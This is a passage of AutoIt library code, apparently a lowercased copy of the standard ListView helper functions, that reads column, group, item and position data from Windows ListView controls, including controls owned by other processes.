- $iret = _sendmessage($hwnd, $lvm_getbkimagea, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $pmemory, $timage, $iimage)
- _memread($tmemmap, $ptext, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pimage = DllStructGetPtr($timage)
- DllStructSetData($timage, "Image", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_getbkimagew, 0, $pimage)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getbkimagea, 0, $pimage)
- EndIf
- EndIf
- Local $aimage[4]
- Switch BitAND(DllStructGetData($timage, "Flags"), $lvbkif_source_mask)
- Case $lvbkif_source_hbitmap
- $aimage[0] = 1
- Case $lvbkif_source_url
- $aimage[0] = 2
- EndSwitch
- $aimage[1] = DllStructGetData($tbuffer, "Text")
- $aimage[2] = DllStructGetData($timage, "XOffPercent")
- $aimage[3] = DllStructGetData($timage, "YOffPercent")
- Return SetError($iret <> 0, 0, $aimage)
- EndFunc
- Func _guictrllistview_getcallbackmask($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iflags = 0
- Local $imask = _sendmessage($hwnd, $lvm_getcallbackmask)
- If BitAND($imask, $lvis_cut) <> 0 Then $iflags = BitOR($iflags, 1)
- If BitAND($imask, $lvis_drophilited) <> 0 Then $iflags = BitOR($iflags, 2)
- If BitAND($imask, $lvis_focused) <> 0 Then $iflags = BitOR($iflags, 4)
- If BitAND($imask, $lvis_selected) <> 0 Then $iflags = BitOR($iflags, 8)
- If BitAND($imask, $lvis_overlaymask) <> 0 Then $iflags = BitOR($iflags, 16)
- If BitAND($imask, $lvis_stateimagemask) <> 0 Then $iflags = BitOR($iflags, 32)
- Return $iflags
- EndFunc
- Func _guictrllistview_getcolumn($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[4096]")
- Else
- $tbuffer = DllStructCreate("char Text[4096]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $tcolumn = DllStructCreate($taglvcolumn)
- DllStructSetData($tcolumn, "Mask", $lvcf_alldata)
- DllStructSetData($tcolumn, "TextMax", 4096)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tcolumn, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_getcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $icolumn = DllStructGetSize($tcolumn)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $icolumn
- DllStructSetData($tcolumn, "Text", $ptext)
- _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_getcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_getcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $pmemory, $tcolumn, $icolumn)
- _memread($tmemmap, $ptext, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pcolumn = DllStructGetPtr($tcolumn)
- DllStructSetData($tcolumn, "Text", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_getcolumnw, $iindex, $pcolumn)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getcolumna, $iindex, $pcolumn)
- EndIf
- EndIf
- Local $acolumn[9]
- Switch BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_justifymask)
- Case $lvcfmt_right
- $acolumn[0] = 1
- Case $lvcfmt_center
- $acolumn[0] = 2
- Case Else
- $acolumn[0] = 0
- EndSwitch
- $acolumn[1] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_image) <> 0
- $acolumn[2] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_bitmap_on_right) <> 0
- $acolumn[3] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_col_has_images) <> 0
- $acolumn[4] = DllStructGetData($tcolumn, "CX")
- $acolumn[5] = DllStructGetData($tbuffer, "Text")
- $acolumn[6] = DllStructGetData($tcolumn, "SubItem")
- $acolumn[7] = DllStructGetData($tcolumn, "Image")
- $acolumn[8] = DllStructGetData($tcolumn, "Order")
- Return SetError($iret = 0, 0, $acolumn)
- EndFunc
- Func _guictrllistview_getcolumncount($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Return _sendmessage(_guictrllistview_getheader($hwnd), 4608)
- EndFunc
- Func _guictrllistview_getcolumnorder($hwnd)
- Local $a_cols = _guictrllistview_getcolumnorderarray($hwnd), $s_cols = ""
- Local $separatorchar = Opt("GUIDataSeparatorChar")
- For $i = 1 To $a_cols[0]
- $s_cols &= $a_cols[$i] & $separatorchar
- Next
- $s_cols = StringTrimRight($s_cols, 1)
- Return $s_cols
- EndFunc
- Func _guictrllistview_getcolumnorderarray($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $icolumns = _guictrllistview_getcolumncount($hwnd)
- Local $tbuffer = DllStructCreate("int[" & $icolumns & "]")
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getcolumnorderarray, $icolumns, $tbuffer, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _sendmessage($hwnd, $lvm_getcolumnorderarray, $icolumns, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_getcolumnorderarray, $icolumns, DllStructGetPtr($tbuffer))
- EndIf
- Local $abuffer[$icolumns + 1]
- $abuffer[0] = $icolumns
- For $ii = 1 To $icolumns
- $abuffer[$ii] = DllStructGetData($tbuffer, 1, $ii)
- Next
- Return $abuffer
- EndFunc
- Func _guictrllistview_getcolumnwidth($hwnd, $icol)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getcolumnwidth, $icol)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getcolumnwidth, $icol, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getcounterpage($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getcountperpage)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getcountperpage, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_geteditcontrol($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return HWnd(_sendmessage($hwnd, $lvm_geteditcontrol))
- Else
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_geteditcontrol, 0, 0))
- EndIf
- EndFunc
- Func _guictrllistview_getemptytext($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $ttext = DllStructCreate("char[4096]")
- Local $iret
- If IsHWnd($hwnd) Then
- Local $itext = DllStructGetSize($ttext)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $itext + 4096, $tmemmap)
- Local $ptext = $pmemory + $itext
- DllStructSetData($ttext, "Text", $ptext)
- _memwrite($tmemmap, $ptext, $pmemory, $itext)
- $iret = _sendmessage($hwnd, $lvm_getemptytext, 4096, $pmemory)
- _memread($tmemmap, $ptext, $ttext, 4096)
- _memfree($tmemmap)
- If $iret = 0 Then Return SetError(-1, 0, "")
- Return DllStructGetData($ttext, 1)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getemptytext, 4096, DllStructGetPtr($ttext))
- If $iret = 0 Then Return SetError(-1, 0, "")
- Return DllStructGetData($ttext, 1)
- EndIf
- EndFunc
- Func _guictrllistview_getextendedlistviewstyle($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getextendedlistviewstyle)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getextendedlistviewstyle, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getfocusedgroup($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getfocusedgroup)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getfocusedgroup, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getgroupcount($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getgroupcount)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getgroupcount, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getgroupinfo($hwnd, $igroupid)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tgroup = DllStructCreate($taglvgroup)
- Local $igroup = DllStructGetSize($tgroup)
- DllStructSetData($tgroup, "Size", $igroup)
- DllStructSetData($tgroup, "Mask", BitOR($lvgf_header, $lvgf_align))
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getgroupinfo, $igroupid, $tgroup, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
- _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
- $iret = _sendmessage($hwnd, $lvm_getgroupinfo, $igroupid, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tgroup, $igroup)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getgroupinfo, $igroupid, DllStructGetPtr($tgroup))
- EndIf
- Local $agroup[2]
- $agroup[0] = _winapi_widechartomultibyte(DllStructGetData($tgroup, "Header"))
- Select
- Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_center) <> 0
- $agroup[1] = 1
- Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_right) <> 0
- $agroup[1] = 2
- Case Else
- $agroup[1] = 0
- EndSelect
- Return SetError($iret <> $igroupid, 0, $agroup)
- EndFunc
- Func _guictrllistview_getgroupinfobyindex($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tgroup = DllStructCreate($taglvgroup)
- Local $igroup = DllStructGetSize($tgroup)
- DllStructSetData($tgroup, "Size", $igroup)
- DllStructSetData($tgroup, "Mask", BitOR($lvgf_header, $lvgf_align))
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getgroupinfobyindex, $iindex, $tgroup, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
- _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
- $iret = _sendmessage($hwnd, $lvm_getgroupinfobyindex, $iindex, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tgroup, $igroup)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getgroupinfobyindex, $iindex, DllStructGetPtr($tgroup))
- EndIf
- Local $agroup[2]
- $agroup[0] = _winapi_widechartomultibyte(DllStructGetData($tgroup, "Header"))
- Select
- Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_center) <> 0
- $agroup[1] = 1
- Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_right) <> 0
- $agroup[1] = 2
- Case Else
- $agroup[1] = 0
- EndSelect
- Return SetError($iret = 0, 0, $agroup)
- EndFunc
- Func _guictrllistview_getgrouprect($hwnd, $igroupid, $iget = $lvggr_group)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tgroup = DllStructCreate($tagrect)
- DllStructSetData($tgroup, "Left", $iget)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getgrouprect, $igroupid, $tgroup, 0, "wparam", "struct*")
- Else
- Local $igroup = DllStructGetSize($tgroup)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
- _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
- $iret = _sendmessage($hwnd, $lvm_getgrouprect, $igroupid, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tgroup, $igroup)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getgrouprect, $igroupid, DllStructGetPtr($tgroup))
- EndIf
- Local $agroup[4]
- For $x = 0 To 3
- $agroup[$x] = DllStructGetData($tgroup, $x + 1)
- Next
- Return SetError($iret = 0, 0, $agroup)
- EndFunc
- Func _guictrllistview_getgroupstate($hwnd, $igroupid, $imask)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getgroupstate, $igroupid, $imask)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getgroupstate, $igroupid, $imask)
- EndIf
- EndFunc
- Func _guictrllistview_getgroupviewenabled($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_isgroupviewenabled) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_isgroupviewenabled, 0, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_getheader($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return HWnd(_sendmessage($hwnd, $lvm_getheader))
- Else
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_getheader, 0, 0))
- EndIf
- EndFunc
- Func _guictrllistview_gethotcursor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gethotcursor, 0, 0, 0, "wparam", "lparam", "handle")
- Else
- Return Ptr(GUICtrlSendMsg($hwnd, $lvm_gethotcursor, 0, 0))
- EndIf
- EndFunc
- Func _guictrllistview_gethotitem($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gethotitem)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_gethotitem, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_gethovertime($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gethovertime)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_gethovertime, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getimagelist($hwnd, $iimagelist)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aimagelist[3] = [$lvsil_normal, $lvsil_small, $lvsil_state]
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getimagelist, $aimagelist[$iimagelist], 0, 0, "wparam", "lparam", "handle")
- Else
- Return Ptr(GUICtrlSendMsg($hwnd, $lvm_getimagelist, $aimagelist[$iimagelist], 0))
- EndIf
- EndFunc
- Func _guictrllistview_getinsertmark($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tmark = DllStructCreate($taglvinsertmark)
- Local $imark = DllStructGetSize($tmark)
- DllStructSetData($tmark, "Size", $imark)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getinsertmark, 0, $tmark, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $imark, $tmemmap)
- _memwrite($tmemmap, $tmark)
- $iret = _sendmessage($hwnd, $lvm_getinsertmark, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tmark, $imark)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getinsertmark, 0, DllStructGetPtr($tmark))
- EndIf
- Local $amark[2]
- $amark[0] = DllStructGetData($tmark, "Flags") = $lvim_after
- $amark[1] = DllStructGetData($tmark, "Item")
- Return SetError($iret = 0, 0, $amark)
- EndFunc
- Func _guictrllistview_getinsertmarkcolor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getinsertmarkcolor, $lvsil_state)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getinsertmarkcolor, $lvsil_state, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getinsertmarkrect($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $arect[5]
- Local $trect = DllStructCreate($tagrect)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $arect[0] = _sendmessage($hwnd, $lvm_getinsertmarkrect, 0, $trect, 0, "wparam", "struct*") <> 0
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- $arect[0] = _sendmessage($hwnd, $lvm_getinsertmarkrect, 0, $pmemory, 0, "wparam", "ptr") <> 0
- _memread($tmemmap, $pmemory, $trect, $irect)
- _memfree($tmemmap)
- EndIf
- Else
- $arect[0] = GUICtrlSendMsg($hwnd, $lvm_getinsertmarkrect, 0, DllStructGetPtr($trect)) <> 0
- EndIf
- $arect[1] = DllStructGetData($trect, "Left")
- $arect[2] = DllStructGetData($trect, "Top")
- $arect[3] = DllStructGetData($trect, "Right")
- $arect[4] = DllStructGetData($trect, "Bottom")
- Return $arect
- EndFunc
- Func _guictrllistview_getisearchstring($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $ibuffer
- If IsHWnd($hwnd) Then
- If $funicode Then
- $ibuffer = _sendmessage($hwnd, $lvm_getisearchstringw) + 1
- Else
- $ibuffer = _sendmessage($hwnd, $lvm_getisearchstringa) + 1
- EndIf
- Else
- If $funicode Then
- $ibuffer = GUICtrlSendMsg($hwnd, $lvm_getisearchstringw, 0, 0) + 1
- Else
- $ibuffer = GUICtrlSendMsg($hwnd, $lvm_getisearchstringa, 0, 0) + 1
- EndIf
- EndIf
- If $ibuffer = 1 Then Return ""
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getisearchstringw, 0, $tbuffer, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- If $funicode Then
- _sendmessage($hwnd, $lvm_getisearchstringw, 0, $pmemory)
- Else
- _sendmessage($hwnd, $lvm_getisearchstringa, 0, $pmemory)
- EndIf
- _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pbuffer = DllStructGetPtr($tbuffer)
- If $funicode Then
- GUICtrlSendMsg($hwnd, $lvm_getisearchstringw, 0, $pbuffer)
- Else
- GUICtrlSendMsg($hwnd, $lvm_getisearchstringa, 0, $pbuffer)
- EndIf
- EndIf
- Return DllStructGetData($tbuffer, "Text")
- EndFunc
- Func _guictrllistview_getitem($hwnd, $iindex, $isubitem = 0)
- Local $aitem[8]
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- DllStructSetData($titem, "StateMask", -1)
- _guictrllistview_getitemex($hwnd, $titem)
- Local $istate = DllStructGetData($titem, "State")
- If BitAND($istate, $lvis_cut) <> 0 Then $aitem[0] = BitOR($aitem[0], 1)
- If BitAND($istate, $lvis_drophilited) <> 0 Then $aitem[0] = BitOR($aitem[0], 2)
- If BitAND($istate, $lvis_focused) <> 0 Then $aitem[0] = BitOR($aitem[0], 4)
- If BitAND($istate, $lvis_selected) <> 0 Then $aitem[0] = BitOR($aitem[0], 8)
- $aitem[1] = __guictrllistview_overlayimagemasktoindex($istate)
- $aitem[2] = __guictrllistview_stateimagemasktoindex($istate)
- $aitem[3] = _guictrllistview_getitemtext($hwnd, $iindex, $isubitem)
- $aitem[4] = DllStructGetData($titem, "Image")
- $aitem[5] = DllStructGetData($titem, "Param")
- $aitem[6] = DllStructGetData($titem, "Indent")
- $aitem[7] = DllStructGetData($titem, "GroupID")
- Return $aitem
- EndFunc
- Func _guictrllistview_getitemchecked($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $tlvitem = DllStructCreate($taglvitem)
- Local $isize = DllStructGetSize($tlvitem)
- If @error Then Return SetError($lv_err, $lv_err, False)
- DllStructSetData($tlvitem, "Mask", $lvif_state)
- DllStructSetData($tlvitem, "Item", $iindex)
- DllStructSetData($tlvitem, "StateMask", 65535)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $tlvitem, 0, "wparam", "struct*") <> 0
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $isize, $tmemmap)
- _memwrite($tmemmap, $tlvitem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $pmemory, 0, "wparam", "ptr") <> 0
- Else
- $iret = _sendmessage($hwnd, $lvm_getitema, 0, $pmemory, 0, "wparam", "ptr") <> 0
- EndIf
- _memread($tmemmap, $pmemory, $tlvitem, $isize)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($tlvitem)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitemw, 0, $pitem) <> 0
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitema, 0, $pitem) <> 0
- EndIf
- EndIf
- If NOT $iret Then Return SetError($lv_err, $lv_err, False)
- Return BitAND(DllStructGetData($tlvitem, "State"), 8192) <> 0
- EndFunc
- Func _guictrllistview_getitemcount($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getitemcount)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getitemcount, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getitemcut($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_cut) <> 0
- EndFunc
- Func _guictrllistview_getitemdrophilited($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_drophilited) <> 0
- EndFunc
- Func _guictrllistview_getitemex($hwnd, ByRef $titem)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getitemw, 0, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
- _memwrite($tmemmap, $titem)
- If $funicode Then
- _sendmessage($hwnd, $lvm_getitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- _sendmessage($hwnd, $lvm_getitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $pmemory, $titem, $iitem)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitemw, 0, $pitem)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitema, 0, $pitem)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_getitemfocused($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_focused) <> 0
- EndFunc
- Func _guictrllistview_getitemgroupid($hwnd, $iindex)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_groupid)
- DllStructSetData($titem, "Item", $iindex)
- _guictrllistview_getitemex($hwnd, $titem)
- Return DllStructGetData($titem, "GroupID")
- EndFunc
- Func _guictrllistview_getitemimage($hwnd, $iindex, $isubitem = 0)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_image)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- _guictrllistview_getitemex($hwnd, $titem)
- Return DllStructGetData($titem, "Image")
- EndFunc
- Func _guictrllistview_getitemindent($hwnd, $iindex)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_indent)
- DllStructSetData($titem, "Item", $iindex)
- _guictrllistview_getitemex($hwnd, $titem)
- Return DllStructGetData($titem, "Indent")
- EndFunc
- Func __guictrllistview_getitemoverlayimage($hwnd, $iindex)
- Return BitShift(_guictrllistview_getitemstate($hwnd, $iindex, $lvis_overlaymask), 8)
- EndFunc
- Func _guictrllistview_getitemparam($hwnd, $iindex)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_param)
- DllStructSetData($titem, "Item", $iindex)
- _guictrllistview_getitemex($hwnd, $titem)
- Return DllStructGetData($titem, "Param")
- EndFunc
- Func _guictrllistview_getitemposition($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $apoint[2], $iret
- Local $tpoint = DllStructCreate($tagpoint)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- If NOT _sendmessage($hwnd, $lvm_getitemposition, $iindex, $tpoint, 0, "wparam", "struct*") Then Return $apoint
- Else
- Local $ipoint = DllStructGetSize($tpoint)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
- If NOT _sendmessage($hwnd, $lvm_getitemposition, $iindex, $pmemory, 0, "wparam", "ptr") Then Return $apoint
- _memread($tmemmap, $pmemory, $tpoint, $ipoint)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitemposition, $iindex, DllStructGetPtr($tpoint))
- If NOT $iret Then Return $apoint
- EndIf
- $apoint[0] = DllStructGetData($tpoint, "X")
- $apoint[1] = DllStructGetData($tpoint, "Y")
- Return $apoint
- EndFunc
- Func _guictrllistview_getitempositionx($hwnd, $iindex)
- Local $apoint = _guictrllistview_getitemposition($hwnd, $iindex)
- Return $apoint[0]
- EndFunc
- Func _guictrllistview_getitempositiony($hwnd, $iindex)
- Local $apoint = _guictrllistview_getitemposition($hwnd, $iindex)
- Return $apoint[1]
- EndFunc
- Func _guictrllistview_getitemrect($hwnd, $iindex, $ipart = 3)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $trect = _guictrllistview_getitemrectex($hwnd, $iindex, $ipart)
- Local $arect[4]
- $arect[0] = DllStructGetData($trect, "Left")
- $arect[1] = DllStructGetData($trect, "Top")
- $arect[2] = DllStructGetData($trect, "Right")
- $arect[3] = DllStructGetData($trect, "Bottom")
- Return $arect
- EndFunc
- Func _guictrllistview_getitemrectex($hwnd, $iindex, $ipart = 3)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, "Left", $ipart)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getitemrect, $iindex, $trect, 0, "wparam", "struct*")
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- _memwrite($tmemmap, $trect, $pmemory, $irect)
- _sendmessage($hwnd, $lvm_getitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
